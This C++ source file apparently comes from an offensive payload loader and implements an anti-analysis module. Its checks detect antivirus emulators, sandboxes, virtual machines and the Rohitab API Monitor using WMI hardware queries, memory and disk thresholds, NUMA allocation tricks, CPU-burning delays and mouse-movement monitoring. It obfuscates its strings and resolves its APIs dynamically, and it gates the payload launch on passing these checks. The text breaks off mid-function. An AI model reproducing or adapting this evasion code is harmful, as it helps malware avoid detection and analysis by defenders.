﻿#include "anti.h"
#include "../utils.h"
#include "../misc.h"
#include "../crypto.h"

#include <array>
#include <stdlib.h>
#include <locale.h>
#include <regex>
#include <DSRole.h>
#include <SetupAPI.h>
#include <winioctl.h>
#include <intrin.h>


uint32_t Anti::TooMuchMemoryForAVEmulator = 256 * 1024 * 1024;

uint8_t Anti::Minimum_Number_Of_Processor_Cores = 1;
uint64_t Anti::Minimum_RAM_Amount = 1024ULL * 1024ULL * 1023ULL;                    // 1023MB
uint64_t Anti::Minimum_System_Volume_Capacity = 29 * 1024ULL * 1024ULL * 1024ULL;   // 29 GB

DWORD Anti::How_Long_To_Wait_For_Mouse_Movement = 180000;                           // 180 sec

size_t Anti::Minimum_Recent_Documents_Expected = 3;
size_t Anti::Minimum_Last_Visited_Directories_Expected = 5;
size_t Anti::Minimum_USB_Devices_Plugged = 2;

const wchar_t *Anti::Internet_Connectivity_Verification_URL = OBFI(L"https://www.metaweather.com/api/location/44418/");
const wchar_t *Anti::Internet_Connectivity_Verification_Regex = OBFI(LR"###(humidity.+air_pressure":([\d\.]+).+wind_speed.+"title":"London","location_type":"City",)###");


bool Anti::checkIfSafeToLaunch(size_t _level)
{
    bool ret = true;

    this->level = _level;
    if (_level == 0) return true;

    verbose(OBF(L"[.] Doing some anti-emulation magic, level: "), _level);

    if (!apiSpecificAntiEmulationChecks())
    {
        verbose(OBF(L"[-] GENERIC1: Emulation check failed: API specific tests failed to proof we're running in a live OS."));
        ret &= false;
    }

    if (!checkIfMachineSeemsLegit())
    {
        verbose(OBF(L"[-] GENERIC2: Emulation check failed: Machine does not seems legitimate enough to be trusted."));
        ret &= false;
    }

    if (_level >= 2)
    {
        if (!verifyRecentUserActivity())
        {
            verbose(OBF(L"[-] GENERIC3: Emulation check failed: Lack of enough recent user activity artefacts on the machine."));
            ret &= false;
        }

        if (!findRogueProcesses())
        {
            verbose(OBF(L"[-] GENERIC4: Found rogue processes running in the target OS. Unsafe to proceed."));
            ret &= false;
        }

        if (!antiVM())
        {
            verbose(OBF(L"[-] GENERIC5: We are running in a VM. On this anti-emulation level, VMs are not accepted."));
            ret &= false;
        }
    }

    if (_level >= 3)
    {
        if (!verifyMouseMovement())
        {
            verbose(OBF(L"[-] GENERIC6: The mouse has not been moving for a while. No human interaction may point we're running inside of a sandbox."));
            ret &= false;
        }
    }

    if (ret)
    {
        verbose(OBF(L"[+] Environment seems safe to launch the payload. Proceeding..."));
    }

    return ret;
}

bool Anti::apiSpecificAntiEmulationChecks()
{
    bool ret = true;

    // Trick 1: Open SYSTEM process.
    RESOLVE(kernel32, OpenProcess);
    if (_OpenProcess(PROCESS_ALL_ACCESS, FALSE, 4) != nullptr)
    {
        verbose(OBF(L"[-] SPECIFIC1: Emulation check failed: OpenProcess(4) returned non null."));
        return false;
    }

    // Trick 2: NUMA allocation
    RESOLVE(kernel32, VirtualAllocExNuma);
    LPVOID mem = _VirtualAllocExNuma(
        GetCurrentProcess(),
        nullptr,
        0x1000,
        MEM_RESERVE | MEM_COMMIT,
        PAGE_EXECUTE_READWRITE,
        0
    );
    if (mem == nullptr)
    {
        verbose(OBF(L"[-] SPECIFIC2: Emulation check failed: VirtualAllocExNuma returned null."));
        ret &= false;
    }

	size_t moduleSize = 0;
	uintptr_t alloc = 0;
	bool isMapped = false;

	findOwnAllocationMemoryRegion(moduleSize, alloc, isMapped);
    if (moduleSize > 0 && alloc != 0)
    {
        PE pe;
        if (analyseOwnMemoryRegion(moduleSize, alloc, pe, isMapped))
        {
            // Trick 3: Detect Rohitab API Monitor: 
            //      - observations shown that under "Static Import" monitored process will have IAT section residing
            //          outside of the PE sections area, there will be only one IMPORT_DESCRIPTOR and it will point at 
            //          apimonitor-drv-x64.sys module.
            IMAGE_DATA_DIRECTORY dir = {};
            size_t sizeOfCode = 0;
            if (pe.isArch86())
            {
                dir = pe.imgNtHdrs32.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
                sizeOfCode = pe.imgNtHdrs32.OptionalHeader.SizeOfCode;
            }
            else 
            { 
                dir = pe.imgNtHdrs64.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; 
                sizeOfCode = pe.imgNtHdrs64.OptionalHeader.SizeOfCode;
            }

            if (dir.VirtualAddress > sizeOfCode && !pe.vImportDescriptors.empty())
            {
                for (const auto& desc : pe.vImportDescriptors)
                {
                    std::string s(desc.szName);
                    std::wstring w(s.begin(), s.end());
                    if (stringicompareWildcard(OBF_WSTR(L"*apimonitor*").c_str(), w.c_str()))
                    {
                        verbose(OBF(L"[-] SPECIFIC3: API Rohitab Monitor detected."));
                        ret &= false;
                        break;
                    }
                }
            }
        }
    }

    return ret;
}

bool Anti::checkIfMachineSeemsLegit()
{
    bool ret = true;
    SYSTEM_INFO si;
    memset(&si, 0, sizeof(si));

    RESOLVE(kernel32, GetSystemInfo);
    _GetSystemInfo(&si);

    if (si.wProcessorArchitecture != PROCESSOR_ARCHITECTURE_AMD64 && si.wProcessorArchitecture != PROCESSOR_ARCHITECTURE_INTEL)
    {
        verbose(OBF(L"[-] MACHINE1: Processor architecture doesn't correspond with x86/x64."));
        ret &= false;
    }

    if (si.dwNumberOfProcessors < level * Minimum_Number_Of_Processor_Cores)
    {
        verbose(OBF(L"[-] MACHINE2: Number of logical processors unreliable."));
        ret &= false;
    }

    UINT wmiCores = 0;
    if (!getNumberOfCoresWMI(wmiCores, true))
    {
        verbose(OBF(L"[-] MACHINE7: Could not retrieve number of logical cores using WMI. Skipping these tests."));
    }
    else
    {
        if (wmiCores < level * Minimum_Number_Of_Processor_Cores)
        {
            verbose(OBF(L"[-] MACHINE8: Number of logical processor cores as reported by WMI is unreliable."));
            ret &= false;
        }

        if (wmiCores != si.dwNumberOfProcessors)
        {
            verbose(OBF(L"[-] MACHINE9: Number of logical processor cores reported by OS is different than what was reported by WMI."));
            ret &= false;
        }
    }

    ULONGLONG totalMemoryInKilobytes = 0;

    RESOLVE(kernel32, GetPhysicallyInstalledSystemMemory);
    if (_GetPhysicallyInstalledSystemMemory(&totalMemoryInKilobytes))
    {
        if (totalMemoryInKilobytes < ((level * Minimum_RAM_Amount) / 1024))
        {
            verbose(OBF(L"[-] MACHINE3: Amount of physically installed memory is suspiciously low."));
            ret &= false;
        }
    }
    else
    {
        if (GetLastError() == ERROR_INVALID_DATA && level < 3)
        {
            verbose(OBF(L"[.] MACHINE4: The System Management BIOS (SMBIOS) data is malformed. Skipping that check."));
        }
        else
        {
            verbose(OBF(L"[-] MACHINE4: Could not acquire amount of physically installed."));
            ret &= false;
        }
    }

    MEMORYSTATUSEX memoryStatus = { 0 };
    memoryStatus.dwLength = sizeof(MEMORYSTATUSEX);

    RESOLVE(kernel32, GlobalMemoryStatusEx);
    if (_GlobalMemoryStatusEx(&memoryStatus))
    {
        if (memoryStatus.ullTotalPhys < level * Minimum_RAM_Amount)
        {
            verbose(OBF(L"[-] MACHINE5: Amount of physical memory is suspiciously low."));
            ret &= false;
        }
    }
    else
    {
        verbose(OBF(L"[-] MACHINE6: Could not acquire amount of physically installed."));
        ret &= false;
    }

    unsigned long long systemDriveSize;
    if (!getSystemDriveSizeWMI(systemDriveSize))
    {
        verbose(OBF(L"[-] MACHINE10: Could not retrieve system drive's size using WMI."));
        ret &= false;
    }

    if (systemDriveSize < level * Minimum_System_Volume_Capacity)
    {
        verbose(OBF(L"[-] MACHINE11: System volume's capacity is not big enough."));
        ret &= false;
    }

    if(level >= 2)
    {
        size_t failures = 0;
        const size_t shakyTests = 15;

        if (countWMIObjects(OBFI(L"SELECT * FROM Win32_Fan")) < 1)
        {
            verbose(OBF(L"[-] MACHINE12: System has no cooling Fans. Unreliable."));
            failures++;
        }

        if (countWMIObjects(OBFI(L"SELECT * FROM Win32_CacheMemory")) < 1)
        {
            verbose(OBF(L"[-] MACHINE13: System has no cache memory lines. Unreliable."));
            failures++;
        }

        if (countWMIObjects(OBFI(L"SELECT * FROM Win32_PhysicalMemory")) < 1)
        {
            verbose(OBF(L"[-] MACHINE14: System has no physical memory dices as reported by WMI. Unreliable."));
            failures++;
        }

        if (countWMIObjects(OBFI(L"SELECT * FROM Win32_MemoryDevice")) < 1)
        {
            verbose(OBF(L"[-] MACHINE15: System has no memory devices as reported by WMI. Unreliable."));
            failures++;
        }

        if (countWMIObjects(OBFI(L"SELECT * FROM Win32_MemoryArray")) < 1)
        {
            verbose(OBF(L"[-] MACHINE16: System has no memory arrays as reported by WMI. Unreliable."));
            failures++;
        }

        if (countWMIObjects(OBFI(L"SELECT * FROM Win32_VoltageProbe")) < 1)
        {
            verbose(OBF(L"[-] MACHINE17: System has no voltage probes as reported by WMI. Unreliable."));
            failures++;
        }

        if (countWMIObjects(OBFI(L"SELECT * FROM Win32_PortConnector")) < 1)
        {
            verbose(OBF(L"[-] MACHINE18: System has no port connectors as reported by WMI. Unreliable."));
            failures++;
        }

        if (countWMIObjects(OBFI(L"SELECT * FROM Win32_SMBIOSMemory")) < 1)
        {
            verbose(OBF(L"[-] MACHINE19: System has no SMBIOS memory as reported by WMI. Unreliable."));
            failures++;
        }

        if (countWMIObjects(OBFI(L"SELECT * FROM CIM_VoltageSensor")) < 1)
        {
            verbose(OBF(L"[-] MACHINE20: System has no CIM voltage sensor entries as reported by WMI. Unreliable."));
            failures++;
        }

        if (countWMIObjects(OBFI(L"SELECT * FROM CIM_Memory")) < 1)
        {
            verbose(OBF(L"[-] MACHINE21: System has no CIM memory entries as reported by WMI. Unreliable."));
            failures++;
        }

        if (countWMIObjects(OBFI(L"SELECT * FROM CIM_NumericSensor")) < 1)
        {
            verbose(OBF(L"[-] MACHINE22: System has no CIM numeric sensor entries as reported by WMI. Unreliable."));
            failures++;
        }

        if (countWMIObjects(OBFI(L"SELECT * FROM CIM_PhysicalConnector")) < 1)
        {
            verbose(OBF(L"[-] MACHINE23: System has no CIM physical connector entries as reported by WMI. Unreliable."));
            failures++;
        }

        if (countWMIObjects(OBFI(L"SELECT * FROM CIM_Sensor")) < 1)
        {
            verbose(OBF(L"[-] MACHINE24: System has no CIM sensor entries as reported by WMI. Unreliable."));
            failures++;
        }

        if (countWMIObjects(OBFI(L"SELECT * FROM CIM_Slot")) < 1)
        {
            verbose(OBF(L"[-] MACHINE25: System has no CIM slot entries as reported by WMI. Unreliable."));
            failures++;
        }

        if (countWMIObjects(OBFI(L"SELECT * FROM CIM_TemperatureSensor")) < 1)
        {
            verbose(OBF(L"[-] MACHINE26: System has no CIM temperature sensor entries as reported by WMI. Unreliable."));
            failures++;
        }

        if (failures == shakyTests && level < 3)
        {
            verbose(OBF(L"[.] All shaky MACHINE tests failed, thus cannot consider them as reliable factors. Skipping them..."));
        }
        else if(failures > 0)
        {
            if(level >= 3) ret &= false;
            else if (level >= 2 && failures > 8) ret &= false;
            else if (level >= 1 && failures > 12) ret &= false;
        }
    }

    return ret;
}

DWORD Anti::delay(DWORD64 delay, bool silent)
{
    if (delay == 0)
    {
        return 1;
    }

    bool predefinedTechnique = false;
    size_t ret = 0;

    const DWORD delayLow = static_cast<DWORD>(delay);

    if (delay & DelayTechnique::OfferYouHaveToRefuse)
    {
        predefinedTechnique = true;
        if(!silent) verbose(OBF(L"[.] Delay: Offer you have to refuse."));

        auto out = reinterpret_cast<uint8_t*>(allocate(nullptr, Anti::TooMuchMemoryForAVEmulator, PAGE_READWRITE));
        if (out)
        {
            memset(out, 0, Anti::TooMuchMemoryForAVEmulator);
            out[0] = 0xAA;
            out[1] = 0x1F;

            for (size_t u = 2; u < Anti::TooMuchMemoryForAVEmulator - 1; u++)
            {
                out[u] = (out[u - 2] ^ out[u - 1]);
            }

            RESOLVE(kernel32, VirtualFreeEx);
            _VirtualFreeEx(GetCurrentProcess(), out, Anti::TooMuchMemoryForAVEmulator, MEM_DECOMMIT);
        }
        else
        {
            if (!silent) verbose(OBF(L"Delay allocation failed: "), GetLastError());
            return 0;
        }
    }

    if (delay & DelayTechnique::MillionsIncrements)
    {
        predefinedTechnique = true;
        if (!silent) verbose(OBF(L"[.] Delay: Millions increments."));

        const int upper_bound = Anti::TooMuchMemoryForAVEmulator * 2;

        for (size_t i = 0; i < 10; i++)
        {
            double sum = 0.0;
            int numerator = -1;

            for (size_t n = 1; n < Anti::TooMuchMemoryForAVEmulator; n += 2)
            {
                numerator *= -1;
                const double term = numerator / double(n);
                sum += term;
            }

            const double pi = 4 * sum;
        }

        ret &= true;
    }

    if (delay & DelayTechnique::SenselessAES)
    {
        predefinedTechnique = true;

        std::vector<uint8_t> plain = { 0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff };
        std::vector<uint8_t> iv = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff };
        std::vector<uint8_t> key = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11,
          0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f };

        size_t rounds = 100000;
        if (delayLow > 0)
        {
            rounds = delayLow * 20;
        }

        double secs = (rounds / 1000.0) * 0.08;

        if (!silent) verbose(OBF(L"[.] Delay: Senseless AES256 encryptions/decryptions. Looping "), rounds,
            OBF(L" rounds, may take roughly "), secs, OBF(L" seconds..."));

        const auto m1 = milliseconds_now();
        for (size_t i = 0; i < rounds; i++)
        {
            std::vector<uint8_t> output;

            if (i % 3 == 0)
            {
                aes256_encrypt_cbc(plain, key, &output, iv);
                aes256_decrypt_cbc(output, key, &plain, iv);
            }
            else if (i % 3 == 1)
            {
				aes256_encrypt_ecb(plain, key, &output, iv);
				aes256_decrypt_ecb(output, key, &plain, iv);
            }
        }

        const auto m2 = milliseconds_now();
        if (!silent) verbose(OBF(L"[>] Elapsed: "), (m2 - m1), OBF(L" milliseconds."));

        ret &= true;
    }

    /*if (delay & DelayTechnique::IcmpSendEcho)
    {
        //
        // Source:
        //   Github LordNoteworthy/al-khaser 
        //   https://github.com/LordNoteworthy/al-khaser/blob/master/al-khaser/TimingAttacks/timing.cpp
        //
        HANDLE hIcmpFile;
        unsigned long DestinationAddress = 0;
        char SendData[32] = OBFI("Some data");
        LPVOID ReplyBuffer = NULL;
        DWORD ReplySize = 0;
        const char ipaddr[] = OBFI("224.0.0.0");

        hIcmpFile = IcmpCreateFile();
        if (hIcmpFile == INVALID_HANDLE_VALUE)
        {
            if(!silent) verbose(OBF(L"[!] IcmpSendEcho execution delay technique was unable to open handle."));
            if(!silent) verbose(OBF(L"[!] IcmpCreatefile returned error: "), GetLastError());
        }
        else
        {
            // Size of ICMP_ECHO_REPLY + size of send data + 8 extra bytes for ICMP error message
            ReplySize = sizeof(ICMP_ECHO_REPLY) + sizeof(SendData) + 8;
            ReplyBuffer = (VOID*)malloc(ReplySize);
            if (ReplyBuffer == NULL)
            {
                IcmpCloseHandle(hIcmpFile);
                if(!silent) verbose(OBF(L"[!] IcmpSendEcho execution delay technique was unable to allocate memory"));
            }
            else
            {
                IcmpSendEcho(hIcmpFile, DestinationAddress, SendData, sizeof(SendData), NULL, ReplyBuffer, ReplySize, static_cast<DWORD>(delay));
                IcmpCloseHandle(hIcmpFile);
                free(ReplyBuffer);

                ret &= true;
            }
        }
    }*/

    // Fallback delay strategy. Create a not set event and wait for it.
    if (delayLow > 0)
    {
        if (!silent) verbose(OBF(L"[.] Delay: Classic delay strategy. Waiting "), static_cast<DWORD>(delay) / 1000, OBF(L" seconds."));

        RESOLVE(kernel32, CreateEventW);
        auto event = _CreateEventW(nullptr, true, false, L"");
        if (event)
        {
            const auto m1 = milliseconds_now();

            auto out = WaitForSingleObjectEx(event, static_cast<DWORD>(delay), false);

            const auto m2 = milliseconds_now();

            if (out != WAIT_TIMEOUT || ((m2 - m1) < delayLow - 500) || ((m2 - m1) > delayLow + 500) || m1 == 0 || m2 == 0)
            {
                if (!silent) verbose(OBF(L"[!] Delayed execution was shortened or failed. Elapsed: "), (m2 - m1), OBF(L" milliseconds. Result: "), out, OBF(L", last error: "), GetLastError());
            }

            CloseHandle(event);
            ret = static_cast<size_t>(m2 - m1);

            if (!silent) verbose(OBF(L"[>] Elapsed: "), ret, OBF(L" milliseconds."));
        }
        else
        {
            ret = 0;
        }
    }
    else
    {
        return 1;
    }

    if (!ret)
    {
        if (!silent) verbose(OBF(L"[!] DELAY FAILED!"));
    }

    return static_cast<DWORD>((static_cast<double>(ret) / 1000.0) * 1000);
}

bool Anti::initializeWMI(const wchar_t *szNetworkResource)
{
    HRESULT hres;

    RESOLVE(ole32, CoInitializeEx);
    hres = _CoInitializeEx(
        0, 
        COINIT_MULTITHREADED
    );
    if (FAILED(hres)) 
    {
        verbose(OBF(L"[-] WMI initialization failed: CoInitializeEx: "), std::hex, hres);
        return false;
    }

    // Set general COM security levels
    RESOLVE(ole32, CoInitializeSecurity);
    hres = _CoInitializeSecurity(
        NULL, 
        -1, 
        NULL, 
        NULL,
        RPC_C_AUTHN_LEVEL_DEFAULT, 
        RPC_C_IMP_LEVEL_IMPERSONATE, 
        NULL, 
        EOAC_NONE, 
        NULL
    );
    if (FAILED(hres) && hres != 0x80010119)
    {
        verbose(OBF(L"[-] WMI initialization failed: CoInitializeSecurity: "), hres);
        wmiTearDown();
        return false;
    }

    // This is to avoid linking wbemuuid.lib which would grow output artefact's size.
    CLSID custom_CLSID_WbemLocator = { 0 };

    RESOLVE(ole32, CLSIDFromString);
    _CLSIDFromString(My_CLSID_WbemLocator, &custom_CLSID_WbemLocator);

    // Obtain the initial locator to WMI 
    RESOLVE(ole32, CoCreateInstance);
    hres = _CoCreateInstance(
        custom_CLSID_WbemLocator,
        NULL,
        CLSCTX_INPROC_SERVER,
        IID_PPV_ARGS(&pWbemLocator)
    );
    if (FAILED(hres))
    {
        verbose(OBF(L"[-] WMI initialization failed: CoCreateInstance: "), hres);
        wmiTearDown();
        return false;
    }

    RESOLVE(ole32, CoUninitialize);
    RESOLVE(oleaut32, SysAllocString);
    RESOLVE(oleaut32, SysFreeString);

    BSTR strNetworkResource = _SysAllocString(
        szNetworkResource
    );

    if (strNetworkResource) 
    {
        // Connect to the root\cimv2 namespace 
        hres = pWbemLocator->ConnectServer(
            strNetworkResource, 
            NULL, 
            NULL, 
            NULL, 
            WBEM_FLAG_CONNECT_USE_MAX_WAIT, 
            0, 
            0,
            &pWbemServices
        );
        if (FAILED(hres))
        {
            _SysFreeString(strNetworkResource);
            verbose(OBF(L"[-] WMI initialization failed: ConnectServer: "), hres);
            wmiTearDown();
            return false;
        }
        _SysFreeString(strNetworkResource);
    }

    // Set security levels on the proxy
    RESOLVE(ole32, CoSetProxyBlanket);
    hres = _CoSetProxyBlanket(
        pWbemServices, 
        RPC_C_AUTHN_WINNT, 
        RPC_C_AUTHZ_NONE, 
        NULL, 
        RPC_C_AUTHN_LEVEL_CALL, 
        RPC_C_IMP_LEVEL_IMPERSONATE, 
        NULL,
        EOAC_NONE
    );
    if (FAILED(hres))
    {
        verbose(OBF(L"[-] WMI initialization failed: CoSetProxyBlanket: "), hres);
        wmiTearDown();
        return false;
    }

    wmiInitialized = true;
    return true;
}

void Anti::wmiTearDown()
{
    if (pWbemServices != nullptr)
    {
        pWbemServices->Release();
        pWbemServices = nullptr;
    }

    if (pWbemLocator != nullptr)
    {
        pWbemLocator->Release();
        pWbemLocator = nullptr;
    }

    if (wmiInitialized)
    {
        RESOLVE(ole32, CoUninitialize);
        _CoUninitialize();
    }
}

void Anti::unloadModules()
{
    unloadModule(OBFI(L"ole32"));
    unloadModule(OBFI(L"oleaut32"));
    unloadModule(OBFI(L"Advapi32"));
    unloadModule(OBFI(L"netapi32"));
    unloadModule(OBFI(L"setupapi"));
}

bool Anti::queryWMI(IEnumWbemClassObject **pEnumerator, const std::wstring& wmiQuery)
{
    if (!pEnumerator || wmiQuery.empty())
    {
        verbose(OBF(L"[-] WMI Query ("), wmiQuery.c_str(), OBF(L"): invalid parameter."));
        return false;
    }

    if (!wmiInitialized)
    {
        if (!pWbemServices || !pWbemLocator)
        {
            if (!initializeWMI(OBFI(L"ROOT\\CIMV2")))
            {
                verbose(OBF(L"[-] Could not inialize WMI subsystem. Resigning from WMI queries."));
                return false;
            }
        }
    }

    RESOLVE(oleaut32, SysAllocString);
    RESOLVE(oleaut32, SysFreeString);

    BSTR strQueryLanguage = _SysAllocString(OBFI(OLESTR("WQL")));
    BSTR strQuery = _SysAllocString(wmiQuery.c_str());

    BOOL bQueryResult = TRUE;

    if (strQueryLanguage && strQuery) 
    {
        HRESULT hres = pWbemServices->ExecQuery(
            strQueryLanguage, 
            strQuery,
            WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY,
            NULL, 
            pEnumerator
        );

        if (FAILED(hres)) 
        {
            bQueryResult = FALSE;
            verbose(OBF(L"[-] WMI Query ("), wmiQuery.c_str(), OBF(L") failed: "), hres);
            wmiTearDown();
        }
    }

    if (strQueryLanguage)
    {
        _SysFreeString(strQueryLanguage);
    }

    if (strQuery)
    {
        _SysFreeString(strQuery);
    }

    return bQueryResult;
}

bool Anti::queryWMIProperty(const std::wstring& wmiQuery, const std::wstring& propertyName, WMIPropertyCallback callback, void* output)
{
    IEnumWbemClassObject* pEnumerator = NULL;
    HRESULT hRes;
    BOOL bFound = FALSE;

    if (queryWMI(&pEnumerator, wmiQuery))
    {
        // Get the data from the query
        IWbemClassObject *pclsObj = NULL;
        ULONG uReturn = 0;
        VARIANT vtProp;

        // Iterate over our enumator
        while (pEnumerator)
        {
            hRes = pEnumerator->Next(WBEM_INFINITE, 1, &pclsObj, &uReturn);
            if (0 == uReturn)
            {
                break;
            }

            hRes = pclsObj->Get(propertyName.c_str(), 0, &vtProp, 0, 0);
            if (SUCCEEDED(hRes))
            {
                if (V_VT(&vtProp) != VT_NULL) 
                {
                    bFound = callback(vtProp, output);

                    // release the current result object
                    VariantClear(&vtProp);
                }
            }

            // release class object
            pclsObj->Release();

            // break from while
            if (bFound)
            {
                break;
            }
        }
    }

    return bFound;
}

bool Anti::queryWMIObject(const std::wstring& wmiQuery, WMIObjectCallback callback, void* output)
{
    IEnumWbemClassObject* pEnumerator = NULL;
    HRESULT hRes;
    BOOL bFound = FALSE;

    if (queryWMI(&pEnumerator, wmiQuery))
    {
        // Get the data from the query
        IWbemClassObject *pclsObj = NULL;
        ULONG uReturn = 0;

        // Iterate over our enumator
        while (pEnumerator)
        {
            hRes = pEnumerator->Next(WBEM_INFINITE, 1, &pclsObj, &uReturn);
            if (0 == uReturn)
            {
                break;
            }

            if (pclsObj != nullptr)
            {
                bFound = callback(pclsObj, output);
            }

            // release class object
            pclsObj->Release();

            // break from while
            if (bFound)
            {
                break;
            }
        }
    }

    return bFound;
}

uint32_t Anti::countWMIObjects(const std::wstring& wmiQuery)
{
    uint32_t count = 0;

    queryWMIObject(wmiQuery, [](IWbemClassObject* obj, void* output) -> bool 
    {
        ++(*reinterpret_cast<uint32_t*>(output));
        return false;
    }, &count);

    return count;
}

bool Anti::getNumberOfCoresWMI(UINT& cores, bool logical)
{
    if (logical)
    {
        UINT cores1 = 0;
        if (_getNumberOfCoresWMI(cores1, true))
        {
            UINT cores2 = 0;
            if (_getNumberOfCoresWMI(cores2, false))
            {
                cores = cores1 * cores2;
                return true;
            }
        }

        cores = 0;
        return false;
    }
    else
    {
        return _getNumberOfCoresWMI(cores, logical);
    }
}

bool Anti::_getNumberOfCoresWMI(UINT &cores, bool logical)
{
    std::wstring q(OBF_WSTR(L"SELECT * FROM Win32_Processor"));

    if (!logical)
    {
        cores = countWMIObjects(q);
        return cores > 0;
    }

    return queryWMIProperty(q, OBFI(L"NumberOfLogicalProcessors"), 
        [](VARIANT& property, void* output) -> bool {
        if (output != nullptr)
        {
            *reinterpret_cast<UINT*>(output) = property.uintVal;
        }
        return true;
    }, &cores);
}

bool Anti::getSystemDriveSizeWMI(unsigned long long &diskSize)
{
    diskSize = 0;
    return queryWMIObject(OBFI(L"SELECT * FROM Win32_LogicalDisk"), [](IWbemClassObject* obj, void* output) -> bool 
    {
        VARIANT propDeviceId, propSize;
        HRESULT hRes1 = obj->Get(OBFI(L"DeviceID"), 0, &propDeviceId, 0, 0);
        HRESULT hRes2 = obj->Get(OBFI(L"Size"), 0, &propSize, 0, 0);

        bool found = false;

        wchar_t systemVolumeID[16] = L"";
        GetEnvironmentVariableW(OBFI(L"SystemDrive"), systemVolumeID, _countof(systemVolumeID));

        if (SUCCEEDED(hRes1) && SUCCEEDED(hRes2))
        {
            if (V_VT(&propDeviceId) != VT_NULL && V_VT(&propSize) != VT_NULL)
            {
                if (wcscmp(propDeviceId.bstrVal, systemVolumeID) == 0)
                {
                    errno = 0;
                    unsigned long long diskSizeBytes = _wcstoui64(propSize.bstrVal, NULL, 10);
                    if (errno == 0)
                    {
                        *reinterpret_cast<unsigned long long*>(output) = diskSizeBytes;
                        found = true;
                    }
                }

                VariantClear(&propDeviceId);
                VariantClear(&propSize);
            }
        }

        return found;
    }, &diskSize);
}

bool Anti::verifyMouseMovement()
{
    POINT posA = {};
    POINT posB = {};
    DWORD step = 2000;

    verbose(OBF(L"[.] Monitoring mouse activity: You better move your mouse now if you wish to launch the payload :-)"));

    RESOLVE(user32, GetCursorPos);
    for (size_t i = 0; i < How_Long_To_Wait_For_Mouse_Movement / step; i++)
    {
        _GetCursorPos(&posA);

        Anti::delay(step | DelayAllTechniques, true);

        _GetCursorPos(&posB);

        if ((posA.x != posB.x) && (posA.y != posB.y))
        {
            info(OBF(L"[+] MOUSE-ACTIVITY: Position changed. Human onboard!"));
            return true;
        }
    }

    unloadModule(OBFI(L"user32"));

    info(OBF(L"[-] MOUSE-ACTIVITY: Position DID NOT change. Are we running in a sandbox?"));
    return false;
}

std::wstring Anti::getDomainName()
{
    std::wstring domainName;
    DSROLE_PRIMARY_DOMAIN_INFO_BASIC * inf;

    RESOLVE(Netapi32, DsRoleGetPrimaryDomainInformation);
    DWORD dw = _DsRoleGetPrimaryDomainInformation(
        NULL,
        DsRolePrimaryDomainInfoBasic,
        (PBYTE *)&inf
    );
    if (dw != ERROR_SUCCESS)
    {
        verbose(OBF(L"[-] Could not obtain domain name: DsRoleGetPrimaryDomainInformation failed: "), dw);
        return {};
    }

    RESOLVE(Netapi32, DsRoleFreeMemory);
    if (inf->DomainNameDns == NULL)
    {
        _DsRoleFreeMemory(inf);
        return {};
    }
    else
    {
        domainName = std::wstring(inf->DomainNameDns);
    }

    _DsRoleFreeMemory(inf);
    return domainName;
}

bool Anti::checkIfDomainJoined(bool silent)
{
    static bool domainChecked = false;
    if (!domainChecked)
    {
        // Technique 1
        wchar_t domainName[MAX_PATH] = L"";
        NETSETUP_JOIN_STATUS status = NetSetupUnknownStatus;

        RESOLVE(netapi32, NetGetJoinInformation);
        _NetGetJoinInformation(
            nullptr,
            reinterpret_cast<LPWSTR*>(&domainName),
            &status
        );

        // Technique 2
        DSROLE_PRIMARY_DOMAIN_INFO_BASIC * inf;

        RESOLVE(Netapi32, DsRoleGetPrimaryDomainInformation);
        DWORD dw = _DsRoleGetPrimaryDomainInformation(
            NULL,
            DsRolePrimaryDomainInfoBasic,
            (PBYTE *)&inf
        );
        if (dw != ERROR_SUCCESS)
        {
            if (!silent) verbose(OBF(L"[-] Could not obtain domain name: DsRoleGetPrimaryDomainInformation failed: "), dw);
            return {};
        }

        domainChecked = true;

        RESOLVE(Netapi32, DsRoleFreeMemory);
        domainJoinStatus = (status == NetSetupDomainName && (inf->MachineRole == DsRole_RoleMemberWorkstation || inf->MachineRole == DsRole_RoleMemberServer));
        _DsRoleFreeMemory(inf);
    }

    if(domainJoinStatus)
    {
        if (!silent) info(OBF(L"[+] DOMAIN-CHECK1: Computer is domain-joined."));
    }
    else
    {
        if (!silent) info(OBF(L"[-] DOMAIN-CHECK1: Computer is not domain-joined."));
    }

    return domainJoinStatus;
}

std::wstring Anti::getUserName()
{
    HANDLE       hToken = NULL;
    PTOKEN_USER  ptiUser = NULL;
    DWORD        cbti = 0;
    SID_NAME_USE snu;

    RESOLVE(advapi32, OpenProcessToken);
    RESOLVE(advapi32, OpenThreadToken);

    if (!_OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, TRUE, &hToken)) 
    {
        if (GetLastError() != ERROR_NO_TOKEN)
        {
            verbose(OBF(L"[-] USER-NAME: Could not get user name (1): "), GetLastError());
            return {};
        }

        if (!_OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
        {
            verbose(OBF(L"[-] USER-NAME: Could not get user name (2): "), GetLastError());
            return {};
        }
    }

    RESOLVE(Advapi32, GetTokenInformation);
    _GetTokenInformation(hToken, TokenUser, NULL, 0, &cbti);

    ptiUser = (PTOKEN_USER)HeapAlloc(GetProcessHeap(), 0, cbti);
    if (!ptiUser)
    {
        verbose(OBF(L"[-] USER-NAME: Could not get user name (3): "), GetLastError());
        return {};
    }

    if (!_GetTokenInformation(hToken, TokenUser, ptiUser, cbti, &cbti))
    {
        verbose(OBF(L"[-] USER-NAME: Could not get user name (4): "), GetLastError());
        return {};
    }

    // Retrieve user name and domain name based on user's SID.
    wchar_t user[MAX_PATH] = L"";
    DWORD userSize = MAX_PATH;

    wchar_t domain[MAX_PATH] = L"";
    DWORD domainSize = MAX_PATH;

    RESOLVE(advapi32, LookupAccountSidW);
    if (!_LookupAccountSidW(NULL, ptiUser->User.Sid, user, &userSize, domain, &domainSize, &snu))
    {
